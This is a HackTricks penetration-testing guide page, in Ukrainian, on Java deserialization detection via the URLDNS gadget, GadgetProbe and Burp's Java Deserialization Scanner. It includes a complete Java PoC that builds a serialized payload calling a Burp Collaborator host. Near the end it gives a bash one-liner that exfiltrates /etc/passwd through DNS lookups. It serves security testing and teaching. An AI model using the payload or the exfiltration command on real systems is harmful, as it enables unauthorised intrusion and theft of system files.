hacktricks/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

188 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
{{#include ../../banners/hacktricks-training.md}}
## DNS запит на десеріалізацію
Клас `java.net.URL` реалізує `Serializable`, це означає, що цей клас може бути серіалізований.
```java
public final class URL implements java.io.Serializable {
```
Цей клас має **цікаву поведінку.** З документації: “**Два хости вважаються еквівалентними, якщо обидва імена хостів можуть бути перетворені в однакові IP-адреси**”.\
Отже, щоразу, коли об'єкт URL викликає **будь-яку** з **функцій `equals`** або **`hashCode`**, буде **надіслано** **DNS запит** для отримання IP-адреси.
**Виклик** функції **`hashCode`** **з** об'єкта **URL** досить простий, достатньо вставити цей об'єкт у `HashMap`, який буде десеріалізовано. Це пов'язано з тим, що **в кінці** функції **`readObject`** з `HashMap` виконується цей код:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
Це **виконає** `putVal` з кожним значенням всередині `HashMap`. Але більш важливим є виклик `hash` з кожним значенням. Ось код функції `hash`:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
Як ви можете спостерігати, **коли десеріалізується** **`HashMap`**, функція `hash` буде **виконуватися з кожним об'єктом** і **під час** виконання **`hash`** **виконається** `.hashCode()` об'єкта. Тому, якщо ви **десеріалізуєте** **`HashMap`**, **що містить** об'єкт **URL**, об'єкт **URL** **виконає** `.hashCode()`.
Тепер давайте подивимося на код `URLObject.hashCode()`:
```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
```
Як ви можете бачити, коли `URLObject` виконує `.hashCode()`, викликається `hashCode(this)`. Продовження ви можете побачити в коді цієї функції:
```java
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
Ви можете побачити, що `getHostAddress` виконується для домену, **запускаючи DNS запит**.
Отже, цей клас може бути **зловжито** для **запуску** **DNS запиту** для **демонстрації**, що **десеріалізація** можлива, або навіть для **екстракції інформації** (ви можете додати в якості піддомену вихід виконання команди).
### URLDNS payload code example
Ви можете знайти [URDNS payload code from ysoserial тут](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Однак, щоб полегшити розуміння, як це закодувати, я створив свій власний PoC (на основі того з ysoserial):
```java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
### Більше інформації
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- В оригінальній ідеї корисний вантаж commons collections був змінений для виконання DNS запиту, це було менш надійно, ніж запропонований метод, але це пост: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
Ви можете завантажити [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) з Burp Suite App Store (Extender).
**GadgetProbe** спробує з'ясувати, чи існують деякі **Java класи** на Java класі сервера, щоб ви могли знати, **чи** він **вразливий** до деякого відомого експлойту.
### Як це працює
**GadgetProbe** використовуватиме той же **DNS корисний вантаж попереднього розділу**, але **перед** виконанням DNS запиту він **спробує десеріалізувати довільний клас**. Якщо **довільний клас існує**, **DNS запит** буде **надіслано**, і GadgetProbe зафіксує, що цей клас існує. Якщо **DNS** запит **ніколи не надсилається**, це означає, що **довільний клас не був десеріалізований** успішно, тому або він не присутній, або він **не серіалізований/експлуатований**.
Всередині github, [**GadgetProbe має деякі словники**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) з Java класами для тестування.
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
### Більше інформації
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
## Сканер Java десеріалізації
Цей сканер можна **завантажити** з Burp App Store (**Extender**).\
**Розширення** має **пасивні** та активні **можливості**.
### Пасивний
За замовчуванням він **пасивно перевіряє** всі запити та відповіді, що надсилаються, **шукаючи** **Java серіалізовані магічні байти** і представить попередження про вразливість, якщо такі знайдені:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
### Активний
**Ручне тестування**
Ви можете вибрати запит, клацнути правою кнопкою миші та `Send request to DS - Manual Testing`.\
Потім, всередині вкладки _Deserialization Scanner_ --> _Manual testing tab_ ви можете вибрати **точку вставки**. І **запустити тестування** (Виберіть відповідну атаку в залежності від використаного кодування).
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
Навіть якщо це називається "Ручне тестування", це досить **автоматизовано**. Він автоматично перевіряє, чи **десеріалізація** є **вразливою** до **будь-якого ysoserial корисного вантажу**, перевіряючи бібліотеки, присутні на веб-сервері, і підсвічує вразливі. Щоб **перевірити** на **вразливі бібліотеки**, ви можете вибрати запуск **Javas Sleeps**, **сну** через **споживання ЦП**, або використовуючи **DNS**, як вже згадувалося раніше.
**Експлуатація**
Якщо ви виявили вразливу бібліотеку, ви можете надіслати запит до вкладки _Exploiting_.\
У цій вкладці вам потрібно знову **вибрати** **точку ін'єкції**, **написати** **вразливу бібліотеку**, для якої ви хочете створити корисний вантаж, і **команду**. Потім просто натисніть відповідну кнопку **Attack**.
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
### Інформація про DNS ексфільтрацію Java десеріалізації
Зробіть так, щоб ваш корисний вантаж виконував щось на зразок наступного:
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```
### Більше інформації
- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}}